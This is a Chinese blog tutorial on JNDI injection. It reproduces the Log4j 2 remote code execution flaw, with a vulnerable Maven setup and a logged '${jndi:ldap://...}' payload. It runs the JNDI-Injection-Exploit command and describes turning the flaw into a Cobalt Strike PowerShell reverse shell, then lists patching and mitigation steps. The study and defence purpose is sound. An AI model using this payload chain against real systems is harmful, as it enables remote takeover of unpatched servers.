JNDI注入--Apache log4j 2 RCE


0x00 背景知識了解

 

JNDI

它的全稱就是Java Naming and DirectoryInterface Java命名和目錄接口,使用來為開發人查找

訪問各種資源提供的統一通用接口。

它就是一組API接口,每個對象都有一組唯一的鍵值來綁定。

而將名字和對象綁定就可以通過名字來檢索指定的對象。

JNDI支持的主要服務

DNS、LDAP、RMI和CORBA等。

Java的RMI遠程調用是指,一個JVM中的代碼可以通過網絡實現遠程調用另一個JVM的某個方法。RMI是Remote Method Invocation的縮寫。
Java的RMI嚴重依賴序列化和反序列化,而這種情況下可能會造成嚴重的安全漏洞。

  LDAP的中文全稱是:輕量級目錄訪問協議
  LDAP的結構用樹來表示,而不是用表格,正因為這樣,就不能用SQL語句了;
  LDAP可以很快地得到查詢結果,不過在寫方面,就慢得多;
  LDAP提供了靜態數據的快速查詢方式。

 

Java Naming

命名服務是一種鍵值對的綁定,使應用程序可以通過鍵檢索值

 

Java Directory

目錄服務是命名服務的自然擴展。這兩者之間的區別在於目錄服務中對象可以有屬性,而命名服務中對象沒有屬性。因此,在目錄服務中可以根據屬性搜索對象。

 

ObjectFactory

它用於把Naming Service(RMI/LDAP),中存儲的數據轉換成Java中可表達的數據(對象或者是Java中基本數據類型)

JNDI注入的問題就是處在可遠程下載自定義的ObjectFactory類上。

 

在JNDI中提供了綁定和查找的方法:

  • bind:將名稱綁定到對象中;
  • lookup:通過名字檢索執行的對象;

 

定義一個Perspn類:

import java.io.Serializable;
import java.rmi.Remote;

public class Person implements Remote, Serializable {
    private static final long serivalVersionUID = 1l;
    private String name,password;
    public String getName(){
        return name;
    }

    public void setName(String name){
        this.name = name;
    }

    public String getPassword(){
        return password;
    }

    public  void setPassword(String password){
        this.password = password;
    }

    public String toString(){
        return "name:"+name+"\n"+"password:"+password;
    }
}

然后這里再寫一個Server,把服務器端和客戶端都寫到一起了

import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;

public class Server {
    public static void initPerson() throws Exception{
        //配置JNDI工廠和JNDI的url和端口。如果沒有配置這些信息,會出現NoInitialContextException異常
        LocateRegistry.createRegistry(6666);
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");

        //初始化
        InitialContext ctx = new InitialContext();

        //實例化person對象
        Person p = new Person();
        p.setName("test");
        p.setPassword("hacjawker");

        //person對象綁定到JNDI服務中,JNDI的名字叫做:person。
        ctx.bind("person", p);
        ctx.close();
    }

    public static void findPerson() throws Exception{
        //因為前面已經將JNDI工廠和JNDI的url和端口已經添加到System對象中,這里就不用在綁定了
        InitialContext ctx = new InitialContext();

        //通過lookup查找person對象
        Person person = (Person) ctx.lookup("person");

        //打印出這個對象
        System.out.println(person.toString());
        ctx.close();
    }

    public static void main(String[] args) throws Exception {
        initPerson();
        findPerson();
    }
}

 

 

第一部分是initPerson()函數即服務端,其通過JNDI實現RMI服務,並通過JNDI的bind()函數將實例化的Person對象綁定到RMI服務中;

第二部分是findPerson()函數即客戶端,其通過JNDI的lookup方法來檢索person對象並輸出出來。

 

 

 

Apache log4j 2 復現

0x01 復現環境

環境:攻擊機運行idea 1.8.0 131 jdk環境,加載服務環境是jdk 11

 

 

0x02 復現過程

首先用maven創建Java項目,然后使用下面的pom,用maven去倒環境

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>log4j-rce</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!--        <dependency>-->
        <!--            <groupId>commons-collections</groupId>-->
        <!--            <artifactId>commons-collections</artifactId>-->
        <!--            <version>3.1</version>-->
        <!--        </dependency>-->

    </dependencies>

</project>

用maven更新好,在寫攻擊代碼,github上已經有很多了

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        logger.error("${jndi:ldap://127.0.0.1:1389/8tl9x7}");
    }
}

這里使用Injection-Exploit-1.0-SNAPSHOT-all.jar包來掛載服務

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "127.0.0.1"

 

然后執行log4j,彈出計算器

 

0x03  powershell登錄

這里命令執行成功了,可以用powershell來反彈shell

 

 記錄一下getshell的過程,首先在VPS上掛載cs,然后登錄cs客戶端,生成powershell馬

 

 

 

 

 監聽IP 端口配置,VPS上的端口一定要檢查是否打開了,這里是666端口

然后選擇生成無狀態的木馬

 

 

 

運行jar,生成了powershell木馬執行 替換"calc" payload位置

 

 然后運行log4j

 

 

成功返回 cs也彈到了shell

 

 執行命令powershell whoami

 

 

 

 

 不過現在補丁已經從rc1到rc2了,之前的補丁又被繞過了,現在沒有特別好的方法來修復這個漏洞,

主要是涉及面和業務都很廣。

 

0x04  修復

參考深藍平台給出的修復方案:

1、如何排查項目中誰使用了含有漏洞log4j?

如果使用的是gradle,可以執行gradle dependencies查看。

如果使用的是maven,可以執行mvn dependency:tree查看。

2、如何處理漏洞?

對於能直接升級log4j2到版本2.15.0 rc2的系統來說,請盡量升級。


org.apache.logging.log4j:log4j-core:2.15.0

org.apache.logging.log4j:log4j:2.15.0

org.apache.logging.log4j:log4j-api:2.15.0

對於無法升級的系統,有如下解決方案:

如果是屬於2.0-beta9到2.10.0版本,暫時處理方式是從類路徑去除JndiLookup類:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。

如果版本> = 2.10,這個漏洞可以通過設置系統屬性log4j2.formatMsgNoLookups或環境變量LOG4J_FORMAT_MSG_NO_LOOKUPS為true來作為暫時解決方案。

 

 

 參考github


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM